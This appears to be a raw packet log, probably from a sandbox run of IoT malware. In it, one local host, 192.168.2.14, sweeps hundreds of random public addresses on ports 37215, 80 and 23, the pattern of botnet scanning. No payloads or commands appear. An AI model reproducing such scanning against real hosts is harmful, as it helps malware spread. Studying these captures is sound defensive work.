Oct 14, 2024 17:30:14.927997112 CEST	53786	37215	192.168.2.14	156.181.24.120
Oct 14, 2024 17:30:14.928010941 CEST	53786	37215	192.168.2.14	156.81.142.1
Oct 14, 2024 17:30:14.928010941 CEST	53786	37215	192.168.2.14	197.59.173.245
Oct 14, 2024 17:30:14.928025007 CEST	53786	37215	192.168.2.14	197.200.8.71
Oct 14, 2024 17:30:14.928025961 CEST	53786	37215	192.168.2.14	197.179.53.140
Oct 14, 2024 17:30:14.928044081 CEST	53786	37215	192.168.2.14	41.228.56.16
Oct 14, 2024 17:30:14.928045034 CEST	53786	37215	192.168.2.14	197.108.97.149
Oct 14, 2024 17:30:14.928045034 CEST	53786	37215	192.168.2.14	197.67.244.88
Oct 14, 2024 17:30:14.928047895 CEST	53786	37215	192.168.2.14	197.131.163.73
Oct 14, 2024 17:30:14.928056955 CEST	53786	37215	192.168.2.14	197.97.252.30
Oct 14, 2024 17:30:14.928061962 CEST	53786	37215	192.168.2.14	41.177.172.76
Oct 14, 2024 17:30:14.928075075 CEST	53786	37215	192.168.2.14	156.134.37.205
Oct 14, 2024 17:30:14.928080082 CEST	53786	37215	192.168.2.14	156.195.242.253
Oct 14, 2024 17:30:14.928083897 CEST	53786	37215	192.168.2.14	156.200.81.108
Oct 14, 2024 17:30:14.928092957 CEST	53786	37215	192.168.2.14	156.81.32.62
Oct 14, 2024 17:30:14.928102016 CEST	53786	37215	192.168.2.14	197.134.248.39
Oct 14, 2024 17:30:14.928102016 CEST	53786	37215	192.168.2.14	41.212.72.127
Oct 14, 2024 17:30:14.928105116 CEST	53786	37215	192.168.2.14	156.166.214.198
Oct 14, 2024 17:30:14.928117037 CEST	53786	37215	192.168.2.14	197.214.208.91
Oct 14, 2024 17:30:14.928117037 CEST	53786	37215	192.168.2.14	41.239.23.0
Oct 14, 2024 17:30:14.928122044 CEST	53786	37215	192.168.2.14	41.41.150.110
Oct 14, 2024 17:30:14.928127050 CEST	53786	37215	192.168.2.14	156.85.237.195
Oct 14, 2024 17:30:14.928136110 CEST	53786	37215	192.168.2.14	197.235.165.208
Oct 14, 2024 17:30:14.928147078 CEST	53786	37215	192.168.2.14	197.159.53.233
Oct 14, 2024 17:30:14.928160906 CEST	53786	37215	192.168.2.14	156.61.210.55
Oct 14, 2024 17:30:14.928160906 CEST	53786	37215	192.168.2.14	41.149.231.29
Oct 14, 2024 17:30:14.928160906 CEST	53786	37215	192.168.2.14	197.224.37.193
Oct 14, 2024 17:30:14.928180933 CEST	53786	37215	192.168.2.14	156.162.78.84
Oct 14, 2024 17:30:14.928181887 CEST	53786	37215	192.168.2.14	41.78.232.120
Oct 14, 2024 17:30:14.928189039 CEST	53786	37215	192.168.2.14	41.72.70.208
Oct 14, 2024 17:30:14.928198099 CEST	53786	37215	192.168.2.14	41.127.163.35
Oct 14, 2024 17:30:14.928201914 CEST	53786	37215	192.168.2.14	156.209.214.245
Oct 14, 2024 17:30:14.928216934 CEST	53786	37215	192.168.2.14	156.101.243.195
Oct 14, 2024 17:30:14.928216934 CEST	53786	37215	192.168.2.14	156.238.50.37
Oct 14, 2024 17:30:14.928225994 CEST	53786	37215	192.168.2.14	41.6.168.11
Oct 14, 2024 17:30:14.928244114 CEST	53786	37215	192.168.2.14	197.191.100.235
Oct 14, 2024 17:30:14.928252935 CEST	53786	37215	192.168.2.14	197.37.194.162
Oct 14, 2024 17:30:14.928252935 CEST	53786	37215	192.168.2.14	156.92.128.27
Oct 14, 2024 17:30:14.928261995 CEST	53786	37215	192.168.2.14	156.112.71.82
Oct 14, 2024 17:30:14.928263903 CEST	53786	37215	192.168.2.14	156.227.66.29
Oct 14, 2024 17:30:14.928277969 CEST	53786	37215	192.168.2.14	156.42.55.188
Oct 14, 2024 17:30:14.928280115 CEST	53786	37215	192.168.2.14	156.210.83.145
Oct 14, 2024 17:30:14.928282022 CEST	53786	37215	192.168.2.14	156.98.120.68
Oct 14, 2024 17:30:14.928294897 CEST	53786	37215	192.168.2.14	156.28.53.63
Oct 14, 2024 17:30:14.928308010 CEST	53786	37215	192.168.2.14	197.87.65.118
Oct 14, 2024 17:30:14.928314924 CEST	53786	37215	192.168.2.14	156.13.99.76
Oct 14, 2024 17:30:14.928325891 CEST	53786	37215	192.168.2.14	156.31.176.228
Oct 14, 2024 17:30:14.928333998 CEST	53786	37215	192.168.2.14	197.219.145.99
Oct 14, 2024 17:30:14.928344965 CEST	53786	37215	192.168.2.14	156.69.91.172
Oct 14, 2024 17:30:14.928349972 CEST	53786	37215	192.168.2.14	41.118.245.157
Oct 14, 2024 17:30:14.928358078 CEST	53786	37215	192.168.2.14	156.131.207.127
Oct 14, 2024 17:30:14.928361893 CEST	53786	37215	192.168.2.14	197.8.240.14
Oct 14, 2024 17:30:14.928364038 CEST	53786	37215	192.168.2.14	41.92.17.103
Oct 14, 2024 17:30:14.928380966 CEST	53786	37215	192.168.2.14	41.157.46.217
Oct 14, 2024 17:30:14.928397894 CEST	53786	37215	192.168.2.14	156.138.235.167
Oct 14, 2024 17:30:14.928401947 CEST	53786	37215	192.168.2.14	197.46.159.134
Oct 14, 2024 17:30:14.928404093 CEST	53786	37215	192.168.2.14	197.86.243.231
Oct 14, 2024 17:30:14.928410053 CEST	53786	37215	192.168.2.14	41.49.91.73
Oct 14, 2024 17:30:14.928410053 CEST	53786	37215	192.168.2.14	156.17.17.141
Oct 14, 2024 17:30:14.928416967 CEST	53786	37215	192.168.2.14	41.31.42.250
Oct 14, 2024 17:30:14.928426981 CEST	53786	37215	192.168.2.14	156.225.139.48
Oct 14, 2024 17:30:14.928432941 CEST	53786	37215	192.168.2.14	41.203.12.250
Oct 14, 2024 17:30:14.928438902 CEST	53786	37215	192.168.2.14	156.191.168.160
Oct 14, 2024 17:30:14.928438902 CEST	53786	37215	192.168.2.14	197.195.139.199
Oct 14, 2024 17:30:14.928463936 CEST	53786	37215	192.168.2.14	41.47.15.111
Oct 14, 2024 17:30:14.928483963 CEST	53786	37215	192.168.2.14	41.42.61.3
Oct 14, 2024 17:30:14.928483963 CEST	53786	37215	192.168.2.14	197.39.83.171
Oct 14, 2024 17:30:14.928500891 CEST	53786	37215	192.168.2.14	156.135.54.211
Oct 14, 2024 17:30:14.930521011 CEST	48750	80	192.168.2.14	159.200.6.252
Oct 14, 2024 17:30:14.930521965 CEST	35996	80	192.168.2.14	4.158.178.48
Oct 14, 2024 17:30:14.930521965 CEST	40236	80	192.168.2.14	42.172.82.246
Oct 14, 2024 17:30:14.930536985 CEST	44020	80	192.168.2.14	167.194.0.152
Oct 14, 2024 17:30:14.930538893 CEST	60062	80	192.168.2.14	190.105.158.118
Oct 14, 2024 17:30:14.930542946 CEST	50166	80	192.168.2.14	212.46.85.64
Oct 14, 2024 17:30:14.930551052 CEST	59022	80	192.168.2.14	112.131.34.37
Oct 14, 2024 17:30:14.930555105 CEST	50698	80	192.168.2.14	121.134.229.148
Oct 14, 2024 17:30:14.930555105 CEST	51528	80	192.168.2.14	150.10.119.33
Oct 14, 2024 17:30:14.930562019 CEST	33110	80	192.168.2.14	199.242.193.221
Oct 14, 2024 17:30:14.930567026 CEST	37848	80	192.168.2.14	52.189.198.209
Oct 14, 2024 17:30:14.930569887 CEST	37892	80	192.168.2.14	82.20.107.230
Oct 14, 2024 17:30:14.930571079 CEST	54914	80	192.168.2.14	167.47.29.169
Oct 14, 2024 17:30:14.930583954 CEST	39732	80	192.168.2.14	142.127.221.53
Oct 14, 2024 17:30:14.930593967 CEST	41318	80	192.168.2.14	154.156.35.197
Oct 14, 2024 17:30:14.930593967 CEST	52890	80	192.168.2.14	186.201.170.93
Oct 14, 2024 17:30:14.930603027 CEST	55652	80	192.168.2.14	74.179.36.31
Oct 14, 2024 17:30:14.930603027 CEST	44300	80	192.168.2.14	75.73.120.61
Oct 14, 2024 17:30:14.930604935 CEST	56770	80	192.168.2.14	20.43.31.24
Oct 14, 2024 17:30:14.930613041 CEST	60796	80	192.168.2.14	4.56.203.217
Oct 14, 2024 17:30:14.930618048 CEST	32904	80	192.168.2.14	59.136.227.64
Oct 14, 2024 17:30:14.930623055 CEST	40508	80	192.168.2.14	121.205.167.169
Oct 14, 2024 17:30:14.930623055 CEST	51160	80	192.168.2.14	74.95.117.83
Oct 14, 2024 17:30:14.930641890 CEST	53980	80	192.168.2.14	36.223.109.139
Oct 14, 2024 17:30:14.930641890 CEST	39384	80	192.168.2.14	164.184.14.78
Oct 14, 2024 17:30:14.930649996 CEST	43954	80	192.168.2.14	129.216.209.83
Oct 14, 2024 17:30:14.930655003 CEST	46678	80	192.168.2.14	68.172.194.231
Oct 14, 2024 17:30:14.930660009 CEST	45210	80	192.168.2.14	203.184.30.201
Oct 14, 2024 17:30:14.930670023 CEST	48736	80	192.168.2.14	50.106.16.4
Oct 14, 2024 17:30:14.930671930 CEST	35176	80	192.168.2.14	148.143.81.14
Oct 14, 2024 17:30:14.930675983 CEST	52046	80	192.168.2.14	43.144.26.150
Oct 14, 2024 17:30:14.930679083 CEST	42734	80	192.168.2.14	165.100.128.52
Oct 14, 2024 17:30:14.930686951 CEST	45528	80	192.168.2.14	125.124.107.124
Oct 14, 2024 17:30:14.930686951 CEST	52266	80	192.168.2.14	67.211.250.137
Oct 14, 2024 17:30:14.930700064 CEST	38724	80	192.168.2.14	143.42.244.86
Oct 14, 2024 17:30:14.930700064 CEST	37712	80	192.168.2.14	129.165.235.4
Oct 14, 2024 17:30:14.930707932 CEST	40804	80	192.168.2.14	132.112.73.10
Oct 14, 2024 17:30:14.930708885 CEST	45514	80	192.168.2.14	138.13.111.152
Oct 14, 2024 17:30:14.930710077 CEST	51784	80	192.168.2.14	57.113.61.137
Oct 14, 2024 17:30:14.930716038 CEST	56446	80	192.168.2.14	128.56.93.162
Oct 14, 2024 17:30:14.930723906 CEST	45818	80	192.168.2.14	201.98.170.129
Oct 14, 2024 17:30:14.930735111 CEST	32958	80	192.168.2.14	27.111.3.201
Oct 14, 2024 17:30:14.930737972 CEST	44146	80	192.168.2.14	167.84.136.223
Oct 14, 2024 17:30:14.930747032 CEST	54326	80	192.168.2.14	129.241.36.235
Oct 14, 2024 17:30:14.930747032 CEST	53938	80	192.168.2.14	57.211.166.3
Oct 14, 2024 17:30:14.930754900 CEST	59438	80	192.168.2.14	61.162.51.66
Oct 14, 2024 17:30:14.930757046 CEST	44604	80	192.168.2.14	132.192.237.0
Oct 14, 2024 17:30:14.930768013 CEST	42564	80	192.168.2.14	210.102.156.19
Oct 14, 2024 17:30:14.930773020 CEST	37410	80	192.168.2.14	154.79.79.161
Oct 14, 2024 17:30:14.930773020 CEST	40690	80	192.168.2.14	187.123.216.241
Oct 14, 2024 17:30:14.930784941 CEST	54174	80	192.168.2.14	92.126.227.190
Oct 14, 2024 17:30:14.930789948 CEST	55962	80	192.168.2.14	142.12.239.141
Oct 14, 2024 17:30:14.930789948 CEST	39968	80	192.168.2.14	154.230.225.91
Oct 14, 2024 17:30:14.930792093 CEST	44316	80	192.168.2.14	152.51.178.59
Oct 14, 2024 17:30:14.930802107 CEST	35052	80	192.168.2.14	111.27.28.114
Oct 14, 2024 17:30:14.930805922 CEST	48962	80	192.168.2.14	97.55.108.151
Oct 14, 2024 17:30:14.930814981 CEST	45238	80	192.168.2.14	150.79.56.85
Oct 14, 2024 17:30:14.930824041 CEST	36228	80	192.168.2.14	166.134.112.27
Oct 14, 2024 17:30:14.930824041 CEST	35022	80	192.168.2.14	177.154.31.23
Oct 14, 2024 17:30:14.930824041 CEST	52442	80	192.168.2.14	39.211.242.205
Oct 14, 2024 17:30:14.930826902 CEST	51814	80	192.168.2.14	71.28.144.14
Oct 14, 2024 17:30:14.930826902 CEST	35976	80	192.168.2.14	24.149.125.4
Oct 14, 2024 17:30:14.930835009 CEST	35110	80	192.168.2.14	49.77.177.136
Oct 14, 2024 17:30:14.930839062 CEST	52760	80	192.168.2.14	209.211.24.151
Oct 14, 2024 17:30:14.930839062 CEST	39394	80	192.168.2.14	143.75.33.142
Oct 14, 2024 17:30:14.930839062 CEST	48572	80	192.168.2.14	183.137.177.188
Oct 14, 2024 17:30:14.930850983 CEST	40210	80	192.168.2.14	134.141.2.173
Oct 14, 2024 17:30:14.930854082 CEST	38448	80	192.168.2.14	5.212.157.201
Oct 14, 2024 17:30:14.930854082 CEST	45274	80	192.168.2.14	109.16.205.91
Oct 14, 2024 17:30:14.930855036 CEST	56084	80	192.168.2.14	113.111.122.241
Oct 14, 2024 17:30:14.930854082 CEST	56564	80	192.168.2.14	52.157.112.181
Oct 14, 2024 17:30:14.930865049 CEST	41112	80	192.168.2.14	205.33.20.156
Oct 14, 2024 17:30:14.930866957 CEST	42292	80	192.168.2.14	35.49.19.57
Oct 14, 2024 17:30:14.930879116 CEST	44428	80	192.168.2.14	99.66.2.103
Oct 14, 2024 17:30:14.930881023 CEST	32866	80	192.168.2.14	98.180.146.102
Oct 14, 2024 17:30:14.930882931 CEST	32948	80	192.168.2.14	75.21.254.222
Oct 14, 2024 17:30:14.930882931 CEST	52866	80	192.168.2.14	167.247.107.8
Oct 14, 2024 17:30:14.930881023 CEST	52202	80	192.168.2.14	122.121.147.195
Oct 14, 2024 17:30:14.930891037 CEST	36500	80	192.168.2.14	211.4.233.175
Oct 14, 2024 17:30:14.930892944 CEST	41802	80	192.168.2.14	42.187.72.39
Oct 14, 2024 17:30:14.930892944 CEST	56126	80	192.168.2.14	132.22.42.189
Oct 14, 2024 17:30:14.930898905 CEST	45502	80	192.168.2.14	131.83.57.127
Oct 14, 2024 17:30:14.930898905 CEST	51658	80	192.168.2.14	46.248.77.186
Oct 14, 2024 17:30:14.930903912 CEST	52072	80	192.168.2.14	126.142.29.166
Oct 14, 2024 17:30:14.930903912 CEST	57362	80	192.168.2.14	132.22.216.91
Oct 14, 2024 17:30:14.930911064 CEST	54890	80	192.168.2.14	66.78.157.143
Oct 14, 2024 17:30:14.930911064 CEST	44030	80	192.168.2.14	145.191.228.220
Oct 14, 2024 17:30:14.930923939 CEST	59176	80	192.168.2.14	177.155.252.229
Oct 14, 2024 17:30:14.930923939 CEST	40730	80	192.168.2.14	138.223.185.200
Oct 14, 2024 17:30:14.930946112 CEST	46484	80	192.168.2.14	73.68.77.91
Oct 14, 2024 17:30:14.930947065 CEST	52450	80	192.168.2.14	116.219.149.39
Oct 14, 2024 17:30:14.930947065 CEST	40646	80	192.168.2.14	27.116.106.43
Oct 14, 2024 17:30:14.930947065 CEST	35102	80	192.168.2.14	1.180.11.169
Oct 14, 2024 17:30:14.930952072 CEST	37424	80	192.168.2.14	50.13.188.185
Oct 14, 2024 17:30:14.930953979 CEST	36762	80	192.168.2.14	180.247.236.221
Oct 14, 2024 17:30:14.930958986 CEST	55534	80	192.168.2.14	32.112.182.187
Oct 14, 2024 17:30:14.930960894 CEST	46206	80	192.168.2.14	99.221.191.117
Oct 14, 2024 17:30:14.931550026 CEST	37215	53786	156.207.149.153	192.168.2.14
Oct 14, 2024 17:30:14.931592941 CEST	37215	53786	156.225.130.123	192.168.2.14
Oct 14, 2024 17:30:14.931615114 CEST	53786	37215	192.168.2.14	156.207.149.153
Oct 14, 2024 17:30:14.931622982 CEST	37215	53786	197.0.235.153	192.168.2.14
Oct 14, 2024 17:30:14.931658983 CEST	37215	53786	197.104.242.229	192.168.2.14
Oct 14, 2024 17:30:14.931663990 CEST	53786	37215	192.168.2.14	197.0.235.153
Oct 14, 2024 17:30:14.931665897 CEST	53786	37215	192.168.2.14	156.225.130.123
Oct 14, 2024 17:30:14.931675911 CEST	37215	53786	156.223.244.13	192.168.2.14
Oct 14, 2024 17:30:14.931689978 CEST	37215	53786	41.196.49.54	192.168.2.14
Oct 14, 2024 17:30:14.931708097 CEST	53786	37215	192.168.2.14	197.104.242.229
Oct 14, 2024 17:30:14.931710005 CEST	53786	37215	192.168.2.14	156.223.244.13
Oct 14, 2024 17:30:14.931716919 CEST	37215	53786	41.155.10.104	192.168.2.14
Oct 14, 2024 17:30:14.931726933 CEST	53786	37215	192.168.2.14	41.196.49.54
Oct 14, 2024 17:30:14.931747913 CEST	37215	53786	156.8.37.231	192.168.2.14
Oct 14, 2024 17:30:14.931767941 CEST	53786	37215	192.168.2.14	41.155.10.104
Oct 14, 2024 17:30:14.931782961 CEST	37215	53786	41.221.130.103	192.168.2.14
Oct 14, 2024 17:30:14.931796074 CEST	53786	37215	192.168.2.14	156.8.37.231
Oct 14, 2024 17:30:14.931796074 CEST	37215	53786	41.68.153.91	192.168.2.14
Oct 14, 2024 17:30:14.931809902 CEST	37215	53786	197.67.106.52	192.168.2.14
Oct 14, 2024 17:30:14.931823969 CEST	37215	53786	156.84.72.234	192.168.2.14
Oct 14, 2024 17:30:14.931828976 CEST	53786	37215	192.168.2.14	41.221.130.103
Oct 14, 2024 17:30:14.931837082 CEST	53786	37215	192.168.2.14	41.68.153.91
Oct 14, 2024 17:30:14.931838989 CEST	37215	53786	156.69.124.87	192.168.2.14
Oct 14, 2024 17:30:14.931850910 CEST	37215	53786	197.138.176.234	192.168.2.14
Oct 14, 2024 17:30:14.931854010 CEST	53786	37215	192.168.2.14	197.67.106.52
Oct 14, 2024 17:30:14.931871891 CEST	53786	37215	192.168.2.14	156.69.124.87
Oct 14, 2024 17:30:14.931890965 CEST	53786	37215	192.168.2.14	156.84.72.234
Oct 14, 2024 17:30:14.931890965 CEST	53786	37215	192.168.2.14	197.138.176.234
Oct 14, 2024 17:30:14.932135105 CEST	37215	53786	156.228.112.43	192.168.2.14
Oct 14, 2024 17:30:14.932147980 CEST	37215	53786	197.23.234.213	192.168.2.14
Oct 14, 2024 17:30:14.932163000 CEST	37215	53786	156.189.239.186	192.168.2.14
Oct 14, 2024 17:30:14.932177067 CEST	37215	53786	197.81.126.147	192.168.2.14
Oct 14, 2024 17:30:14.932183027 CEST	53786	37215	192.168.2.14	156.228.112.43
Oct 14, 2024 17:30:14.932189941 CEST	53786	37215	192.168.2.14	197.23.234.213
Oct 14, 2024 17:30:14.932189941 CEST	37215	53786	156.134.78.166	192.168.2.14
Oct 14, 2024 17:30:14.932200909 CEST	53786	37215	192.168.2.14	156.189.239.186
Oct 14, 2024 17:30:14.932204008 CEST	37215	53786	197.98.49.167	192.168.2.14
Oct 14, 2024 17:30:14.932219982 CEST	37215	53786	197.218.110.122	192.168.2.14
Oct 14, 2024 17:30:14.932220936 CEST	53786	37215	192.168.2.14	197.81.126.147
Oct 14, 2024 17:30:14.932220936 CEST	53786	37215	192.168.2.14	156.134.78.166
Oct 14, 2024 17:30:14.932234049 CEST	37215	53786	156.116.155.166	192.168.2.14
Oct 14, 2024 17:30:14.932246923 CEST	37215	53786	41.164.6.211	192.168.2.14
Oct 14, 2024 17:30:14.932256937 CEST	53786	37215	192.168.2.14	197.218.110.122
Oct 14, 2024 17:30:14.932259083 CEST	53786	37215	192.168.2.14	197.98.49.167
Oct 14, 2024 17:30:14.932261944 CEST	37215	53786	156.97.175.102	192.168.2.14
Oct 14, 2024 17:30:14.932291031 CEST	53786	37215	192.168.2.14	156.116.155.166
Oct 14, 2024 17:30:14.932291031 CEST	37215	53786	197.173.82.174	192.168.2.14
Oct 14, 2024 17:30:14.932291031 CEST	53786	37215	192.168.2.14	41.164.6.211
Oct 14, 2024 17:30:14.932301998 CEST	53786	37215	192.168.2.14	156.97.175.102
Oct 14, 2024 17:30:14.932327032 CEST	37215	53786	197.199.132.222	192.168.2.14
Oct 14, 2024 17:30:14.932339907 CEST	37215	53786	156.127.247.17	192.168.2.14
Oct 14, 2024 17:30:14.932353020 CEST	37215	53786	197.139.83.71	192.168.2.14
Oct 14, 2024 17:30:14.932353973 CEST	53786	37215	192.168.2.14	197.173.82.174
Oct 14, 2024 17:30:14.932365894 CEST	37215	53786	197.19.128.221	192.168.2.14
Oct 14, 2024 17:30:14.932375908 CEST	53786	37215	192.168.2.14	197.199.132.222
Oct 14, 2024 17:30:14.932380915 CEST	37215	53786	156.123.43.233	192.168.2.14
Oct 14, 2024 17:30:14.932385921 CEST	53786	37215	192.168.2.14	156.127.247.17
Oct 14, 2024 17:30:14.932393074 CEST	53786	37215	192.168.2.14	197.139.83.71
Oct 14, 2024 17:30:14.932394981 CEST	37215	53786	41.23.192.100	192.168.2.14
Oct 14, 2024 17:30:14.932405949 CEST	37215	53786	156.52.68.147	192.168.2.14
Oct 14, 2024 17:30:14.932414055 CEST	53786	37215	192.168.2.14	197.19.128.221
Oct 14, 2024 17:30:14.932419062 CEST	53786	37215	192.168.2.14	156.123.43.233
Oct 14, 2024 17:30:14.932420969 CEST	37215	53786	156.145.15.131	192.168.2.14
Oct 14, 2024 17:30:14.932430029 CEST	53786	37215	192.168.2.14	41.23.192.100
Oct 14, 2024 17:30:14.932435036 CEST	37215	53786	156.138.86.234	192.168.2.14
Oct 14, 2024 17:30:14.932449102 CEST	37215	53786	197.245.175.34	192.168.2.14
Oct 14, 2024 17:30:14.932450056 CEST	53786	37215	192.168.2.14	156.52.68.147
Oct 14, 2024 17:30:14.932462931 CEST	37215	53786	197.22.167.76	192.168.2.14
Oct 14, 2024 17:30:14.932476044 CEST	37215	53786	197.78.72.46	192.168.2.14
Oct 14, 2024 17:30:14.932480097 CEST	53786	37215	192.168.2.14	156.138.86.234
Oct 14, 2024 17:30:14.932490110 CEST	37215	53786	197.200.103.163	192.168.2.14
Oct 14, 2024 17:30:14.932497978 CEST	53786	37215	192.168.2.14	156.145.15.131
Oct 14, 2024 17:30:14.932497978 CEST	53786	37215	192.168.2.14	197.245.175.34
Oct 14, 2024 17:30:14.932502031 CEST	53786	37215	192.168.2.14	197.22.167.76
Oct 14, 2024 17:30:14.932502985 CEST	37215	53786	156.32.231.32	192.168.2.14
Oct 14, 2024 17:30:14.932516098 CEST	37215	53786	156.249.69.148	192.168.2.14
Oct 14, 2024 17:30:14.932523012 CEST	53786	37215	192.168.2.14	197.78.72.46
Oct 14, 2024 17:30:14.932528973 CEST	53786	37215	192.168.2.14	197.200.103.163
Oct 14, 2024 17:30:14.932528973 CEST	37215	53786	156.182.237.158	192.168.2.14
Oct 14, 2024 17:30:14.932543039 CEST	37215	53786	156.32.253.124	192.168.2.14
Oct 14, 2024 17:30:14.932544947 CEST	53786	37215	192.168.2.14	156.32.231.32
Oct 14, 2024 17:30:14.932553053 CEST	53786	37215	192.168.2.14	156.249.69.148
Oct 14, 2024 17:30:14.932555914 CEST	37215	53786	156.155.190.213	192.168.2.14
Oct 14, 2024 17:30:14.932568073 CEST	37215	53786	156.215.122.143	192.168.2.14
Oct 14, 2024 17:30:14.932569981 CEST	53786	37215	192.168.2.14	156.182.237.158
Oct 14, 2024 17:30:14.932579994 CEST	37215	53786	156.29.70.6	192.168.2.14
Oct 14, 2024 17:30:14.932589054 CEST	53786	37215	192.168.2.14	156.32.253.124
Oct 14, 2024 17:30:14.932590961 CEST	53786	37215	192.168.2.14	156.155.190.213
Oct 14, 2024 17:30:14.932593107 CEST	37215	53786	197.143.146.184	192.168.2.14
Oct 14, 2024 17:30:14.932605028 CEST	37215	53786	41.134.139.199	192.168.2.14
Oct 14, 2024 17:30:14.932614088 CEST	53786	37215	192.168.2.14	156.215.122.143
Oct 14, 2024 17:30:14.932617903 CEST	37215	53786	156.140.131.92	192.168.2.14
Oct 14, 2024 17:30:14.932630062 CEST	37215	53786	41.4.125.154	192.168.2.14
Oct 14, 2024 17:30:14.932630062 CEST	53786	37215	192.168.2.14	156.29.70.6
Oct 14, 2024 17:30:14.932642937 CEST	37215	53786	197.159.89.121	192.168.2.14
Oct 14, 2024 17:30:14.932657003 CEST	53786	37215	192.168.2.14	41.134.139.199
Oct 14, 2024 17:30:14.932657003 CEST	37215	53786	197.51.164.239	192.168.2.14
Oct 14, 2024 17:30:14.932662010 CEST	53786	37215	192.168.2.14	197.143.146.184
Oct 14, 2024 17:30:14.932663918 CEST	53786	37215	192.168.2.14	156.140.131.92
Oct 14, 2024 17:30:14.932670116 CEST	37215	53786	197.8.199.24	192.168.2.14
Oct 14, 2024 17:30:14.932671070 CEST	53786	37215	192.168.2.14	41.4.125.154
Oct 14, 2024 17:30:14.932682037 CEST	37215	53786	41.98.80.254	192.168.2.14
Oct 14, 2024 17:30:14.932694912 CEST	53786	37215	192.168.2.14	197.159.89.121
Oct 14, 2024 17:30:14.932694912 CEST	37215	53786	156.29.187.205	192.168.2.14
Oct 14, 2024 17:30:14.932694912 CEST	53786	37215	192.168.2.14	197.51.164.239
Oct 14, 2024 17:30:14.932707071 CEST	53786	37215	192.168.2.14	197.8.199.24
Oct 14, 2024 17:30:14.932708979 CEST	37215	53786	156.220.206.112	192.168.2.14
Oct 14, 2024 17:30:14.932722092 CEST	37215	53786	197.87.76.133	192.168.2.14
Oct 14, 2024 17:30:14.932723045 CEST	53786	37215	192.168.2.14	156.29.187.205
Oct 14, 2024 17:30:14.932725906 CEST	53786	37215	192.168.2.14	41.98.80.254
Oct 14, 2024 17:30:14.932735920 CEST	37215	53786	41.186.225.246	192.168.2.14
Oct 14, 2024 17:30:14.932749033 CEST	37215	53786	41.6.17.249	192.168.2.14
Oct 14, 2024 17:30:14.932758093 CEST	53786	37215	192.168.2.14	156.220.206.112
Oct 14, 2024 17:30:14.932758093 CEST	53786	37215	192.168.2.14	197.87.76.133
Oct 14, 2024 17:30:14.932761908 CEST	37215	53786	41.16.222.223	192.168.2.14
Oct 14, 2024 17:30:14.932775974 CEST	37215	53786	197.252.209.213	192.168.2.14
Oct 14, 2024 17:30:14.932780027 CEST	53786	37215	192.168.2.14	41.186.225.246
Oct 14, 2024 17:30:14.932782888 CEST	53786	37215	192.168.2.14	41.6.17.249
Oct 14, 2024 17:30:14.932789087 CEST	37215	53786	156.78.21.100	192.168.2.14
Oct 14, 2024 17:30:14.932801008 CEST	37215	53786	156.96.49.174	192.168.2.14
Oct 14, 2024 17:30:14.932812929 CEST	53786	37215	192.168.2.14	41.16.222.223
Oct 14, 2024 17:30:14.932813883 CEST	37215	53786	197.81.156.14	192.168.2.14
Oct 14, 2024 17:30:14.932812929 CEST	53786	37215	192.168.2.14	197.252.209.213
Oct 14, 2024 17:30:14.932827950 CEST	53786	37215	192.168.2.14	156.78.21.100
Oct 14, 2024 17:30:14.932827950 CEST	37215	53786	197.193.193.169	192.168.2.14
Oct 14, 2024 17:30:14.932842016 CEST	37215	53786	41.164.219.202	192.168.2.14
Oct 14, 2024 17:30:14.932852983 CEST	53786	37215	192.168.2.14	156.96.49.174
Oct 14, 2024 17:30:14.932853937 CEST	53786	37215	192.168.2.14	197.81.156.14
Oct 14, 2024 17:30:14.932854891 CEST	37215	53786	156.181.37.144	192.168.2.14
Oct 14, 2024 17:30:14.932867050 CEST	37215	53786	156.236.60.212	192.168.2.14
Oct 14, 2024 17:30:14.932876110 CEST	53786	37215	192.168.2.14	197.193.193.169
Oct 14, 2024 17:30:14.932879925 CEST	37215	53786	41.92.124.233	192.168.2.14
Oct 14, 2024 17:30:14.932879925 CEST	53786	37215	192.168.2.14	41.164.219.202
Oct 14, 2024 17:30:14.932892084 CEST	37215	53786	156.230.79.150	192.168.2.14
Oct 14, 2024 17:30:14.932893038 CEST	53786	37215	192.168.2.14	156.181.37.144
Oct 14, 2024 17:30:14.932904005 CEST	37215	53786	41.159.18.166	192.168.2.14
Oct 14, 2024 17:30:14.932907104 CEST	53786	37215	192.168.2.14	156.236.60.212
Oct 14, 2024 17:30:14.932913065 CEST	53786	37215	192.168.2.14	41.92.124.233
Oct 14, 2024 17:30:14.932917118 CEST	37215	53786	197.50.81.248	192.168.2.14
Oct 14, 2024 17:30:14.932929993 CEST	53786	37215	192.168.2.14	156.230.79.150
Oct 14, 2024 17:30:14.932945013 CEST	53786	37215	192.168.2.14	41.159.18.166
Oct 14, 2024 17:30:14.932951927 CEST	53786	37215	192.168.2.14	197.50.81.248
Oct 14, 2024 17:30:14.950241089 CEST	12058	23	192.168.2.14	185.41.61.9
Oct 14, 2024 17:30:14.950258970 CEST	12058	23	192.168.2.14	90.165.70.7
Oct 14, 2024 17:30:14.950262070 CEST	12058	23	192.168.2.14	130.27.74.174
Oct 14, 2024 17:30:14.950273037 CEST	12058	23	192.168.2.14	179.127.46.40
Oct 14, 2024 17:30:14.950273037 CEST	12058	23	192.168.2.14	86.248.22.208
Oct 14, 2024 17:30:14.950284004 CEST	12058	23	192.168.2.14	49.172.202.245
Oct 14, 2024 17:30:14.950284958 CEST	12058	23	192.168.2.14	78.232.197.18
Oct 14, 2024 17:30:14.950284958 CEST	12058	23	192.168.2.14	20.241.213.168
Oct 14, 2024 17:30:14.950294971 CEST	12058	23	192.168.2.14	81.58.173.14
Oct 14, 2024 17:30:14.950310946 CEST	12058	23	192.168.2.14	88.91.230.200
Oct 14, 2024 17:30:14.950320959 CEST	12058	23	192.168.2.14	51.230.161.8
Oct 14, 2024 17:30:14.950319052 CEST	12058	23	192.168.2.14	83.139.42.52
Oct 14, 2024 17:30:14.950324059 CEST	12058	23	192.168.2.14	92.228.209.100
Oct 14, 2024 17:30:14.950334072 CEST	12058	23	192.168.2.14	51.175.16.22
Oct 14, 2024 17:30:14.950340033 CEST	12058	23	192.168.2.14	51.233.22.30
Oct 14, 2024 17:30:14.950356007 CEST	12058	23	192.168.2.14	151.95.188.161
Oct 14, 2024 17:30:14.950356960 CEST	12058	23	192.168.2.14	2.51.233.224
Oct 14, 2024 17:30:14.950371027 CEST	12058	23	192.168.2.14	88.140.226.22
Oct 14, 2024 17:30:14.950381041 CEST	12058	23	192.168.2.14	137.197.4.228
Oct 14, 2024 17:30:14.950387001 CEST	12058	23	192.168.2.14	93.166.80.196
Oct 14, 2024 17:30:14.950388908 CEST	12058	23	192.168.2.14	77.83.178.19
